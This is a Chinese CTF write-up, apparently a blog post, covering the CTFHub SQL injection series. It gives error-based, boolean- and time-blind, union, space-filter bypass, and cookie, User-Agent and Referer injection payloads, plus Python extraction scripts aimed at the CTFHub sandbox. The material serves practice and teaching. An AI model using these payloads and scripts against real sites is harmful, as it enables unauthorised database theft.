CTFHUB SQL

前言:SQL注入知识点繁多,最近开始学SQL注入,把之前没做的SQL系列学习一遍

 标题一:SQL 报错注入

1.查询数据库名:-1 union select updatexml(1, concat(0x7e, database(),0x7e),1)


2.查询表名:-1 union select updatexml(1,concat("~",(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) #

 3.查询列名:-1 union select updatexml(1,concat("~",(select group_concat(column_name) from information_schema.columns where table_name='flag')),1) #

 

 4.查询数据-1 union select updatexml(1,concat("~",(select group_concat(flag) from sqli.flag)),1) #

只拿到了一半的flag,继续拼接

拼接查询: -1 union select updatexml(1,concat("~",(select substr(flag,10,40) from sqli.flag)),1) #

 好家伙,就差一个 字母} 。

 标题二:SQL 布尔注入

开始利用length函数,判断数据库的长度,发现返回值有不同有“query_sucess"和“query_error",那这样我们就可以使用异或进行钩爪注入语句。下面是详细的过程。

1.爆破库名同样的使用脚本爆破,这里用到了二分的思想进行报破: 

import requests

ctfhub_url = "http://challenge-bf62b2295b8d5240.sandbox.ctfhub.com:10800/?id="
name = ""

for i in range(1,1000):
    low = 32
    high = 128
    mid = int((low+high)/2)
    while low<high:
        sql_payload='1^if(ascii(substr(database(),{},1))>{},1,-1)^1'.format(str(i),str(mid))   
        url=ctfhub_url+sql_payload
        r = requests.get(url)
        if "query_success" in r.text:
            low = mid+1
        else:
            high=mid
        mid = int((low+high)/2)
    if mid==32:
        break
    name = name + (chr(mid))
    print (name)

 2.爆破列表名同样的使用脚本爆破,把注入语句修改:

sql_payload='1^if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli"),{},1))>{},1,-1)^1'.format(str(i),str(mid))   

 3.爆破字段名同样的使用脚本爆破,把注入语句修改,根据题目意思应该时是使用flag这个表:

sql_payload='1^if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag"),{},1))>{},1,-1)^1'.format(str(i),str(mid))  

 4.爆破flag,脚本梭哈

 sql_payload='1^if(ascii(substr((select  group_concat(flag) from flag),{},1))>{},1,-1)^1'.format(str(i),str(mid))  

 完整的EXP:

import requests

ctfhub_url = "http://challenge-bf62b2295b8d5240.sandbox.ctfhub.com:10800/?id="
name = ""

for i in range(1,1000):
    low = 32
    high = 128
    mid = int((low+high)/2)
    while low<high:
        #sql_payload='1^if(ascii(substr(database(),{},1))>{},1,-1)^1'.format(str(i),str(mid))
        #sql_payload='1^if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli"),{},1))>{},1,-1)^1'.format(str(i),str(mid)) 
        #sql_payload='1^if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag"),{},1))>{},1,-1)^1'.format(str(i),str(mid))  
        sql_payload='1^if(ascii(substr((select  group_concat(flag) from flag),{},1))>{},1,-1)^1'.format(str(i),str(mid))    
        url=ctfhub_url+sql_payload
        r = requests.get(url)
        if "query_success" in r.text:
            low = mid+1
        else:
            high=mid
        mid = int((low+high)/2)
    if mid==32:
        break
    name = name + (chr(mid))
    print (name)

标题三:SQL 时间盲注

基于时间盲注的原理:这里与报错盲注又不一样,这里没有任何的回显,所以我们只能是通过我们人工控制网页的刷新时间来判断是否成功,即注入语句是否正确。

在这类的题解中通常使用and构造或者使用异或构造,一般的构造语句是if(sql_injection,exp1,exp2),意思就是如果sql_injection的注入结为真就执行exp1,为假就执行exp2

举个例子:

id=1 and if(ascii(substr(database(),1,1))>97,sleep(1.5),1)

这里如果数据库的第一个字母大于a,那么网页会自动刷新1.5秒,直接的显示就是页面会转1.5秒在响应语句。

这里我们需要使用python库种的time函数,在我们向页面请求数据的前后记录下时间,然后计算两个时间差是否大于我们设定的延迟时间,如果大于则语句正确。

1.修改脚本爆库名,二分法

def sql_mangzhu():
    import requests
    import sys
    import time

    ctfhub_url = "http://challenge-3c490148422a7f0f.sandbox.ctfhub.com:10800/?id="
    name = ""

    for i in range(1,1000):
        low = 32
        high = 128
        mid = int((low+high)/2)
        while low<high:
            sql_payload='1 and if(ascii(substr(database(),{},1))>{},sleep(1.5),1)'.format(str(i),str(mid))  
            url=ctfhub_url+sql_payload
            start_time=time.time()
            r = requests.get(url)
            end_time = time.time()
            t = end_time - start_time
            if t > 1.5:
                low = mid+1
            else:
                high= mid
            mid = int((low+high)/2)
        if mid == 32:
            break
        else:
            name = name + (chr(mid))
        print (name)

sql_mangzhu()

 2.修改脚本的payload爆表名,二分法

sql_payload='1 and if(acsii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli"),{},1))>{},sleep(3),1)'.format(str(i),str(mid))
def sql_mangzhu():
    import requests
    import sys
    import time

    ctfhub_url = "http://challenge-3c490148422a7f0f.sandbox.ctfhub.com:10800/?id="
    name = ""

    for i in range(1,1000):
        low = 32
        high = 128
        mid = int((low+high)/2)
        while low<high:
            sql_payload='1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli"),{},1))>{},sleep(3),1)'.format(str(i),str(mid))  
            url=ctfhub_url+sql_payload
            start_time=time.time()
            r = requests.get(url)
            end_time = time.time()
            t = end_time - start_time
            if t > 3:
                low = mid+1
            else:
                high= mid
            mid = int((low+high)/2)
        if mid == 32:
            break
        else:
            name = name + (chr(mid))
        print (name)

sql_mangzhu()

 3.修改脚本的payload爆列名,二分法

还是一样的把payload换成下面这个,其余不变

sql_payload='1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag"),{},1))>{},sleep(3),1)'.format(str(i),str(mid)) #flag

 4.修改脚本的payload爆flag信息,二分法

还是一样的把payload换成查询flag信息语句,其余不变

sql_payload='1 and if(ascii(substr((select  group_concat(flag) from flag),{},1))>{},sleep(3),1)'.format(str(i),str(mid))   

这种类型的注入题还是非常有意思的,我感觉特别好玩,居然还可以通过我们的控制使页面响应的时间变长【就是有点费时间】,希望下次还能遇到。

标题四:MySQL结构

 使用联合查询查一下,比较简单,直接放查询语句

1.查库名,还是sqli

-1 union select database(),1

2.查表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 3.查字段名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='xymiyijzsc'

 4.爆flag

-1 union select 1,group_concat(qaodouydwq) from xymiyijzsc

这是一个动态的靶场,库名是会变的,要注意看库名的是否发生变化,再使用。

标题五:过滤空格

过滤空格这里我们使用/**/注释,或者使用括号包住查询语句绕过,这里我们就用/**/绕过。

1.查库名,还是sqli

-1/**/union/**/select/**/database(),1

2.查表名

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

khprhbjayx

 3.查字段名

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="khprhbjayx"

 klvoatgkvl

 4.爆flag

-1/**/union/**/select/**/1,group_concat(klvoatgkvl)/**/from/**/khprhbjayx

标题五:Cookie注入

注入点cookie,这里提醒的太过明显,我们直接抓包(不抓包也可以,就在fn+f12种中进行注入),再cookie里构造我们的注入语句,这不有手就行。

1.查库名,还是sqli

2.查表名

bxhgbqfvwl

 

3.查字段名

ugiirjsslk

 

4.爆flag

 

标题六:UA注入

直接用BS抓包,找到注入点。 

1.查库名,还是sqli

 

2.查表名

flnstmguxz 

3.查字段名

jsovcotxkj 

4.爆flag 

标题七:Refer注入

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理,我们抓包这里没有显示这个字段,所以需要我们自己添加。

开始要进行检验,发现给Refer传入参数1时,其返回的包能查询数据,说明存在注入点。,然后就是注入操作了。

1.查库名,还是sqli

 

2.查表名

ikmopgchae 

3.查字段名

dwkwgnhguk

4.爆flag  

终于把系列注入AK了,这些都还比较简单,还是得多加练习SQ注入,加油!!!

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值